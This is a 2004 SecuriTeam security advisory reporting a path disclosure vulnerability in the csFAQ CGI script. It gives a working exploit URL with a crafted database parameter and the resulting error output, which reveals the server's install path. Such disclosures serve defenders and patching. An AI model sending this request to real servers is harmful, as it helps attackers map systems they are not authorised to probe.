[UNIX] csFAQ Path Disclosure

From: SecuriTeam (support_at_securiteam.com)
Date: 07/12/04

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      csFAQ Path Disclosure
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    SUMMARY

     <http://www.cgiscript.net/> csFAQ is "an automated system for displaying
    FAQs (frequently asked questions) written by CGI Scripts". A vulnerability
    in csFAQ allows remote attacker to reveal the path under which the product
    has been installed.

    DETAILS

    A path disclosure vulnerability in the csFAQ product allows a remote user
    to determine the full path to the web root directory and other potentially
    sensitive information.

    Exploit:
    By submitting the following URL:
    http://www.attack.com/cgi-script/csFAQ/csFAQ.cgi?command=viewFAQ&database=/.darkbicho the following error response is returned:

        /www/attack/cgi-script/csFAQ//%2f%2edarkbicho
        Content-type: text/html
        Software error:
        1 at csFAQ.cgi line 1117.

    From this an attacker can determine the path under which the csFAQ has
    been installed.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:darkbicho@peru.com>
    DarkBicho.
    The original article can be found at:
    <http://www.swp-zone.org/archivos/advisory-08.txt>
    http://www.swp-zone.org/archivos/advisory-08.txt

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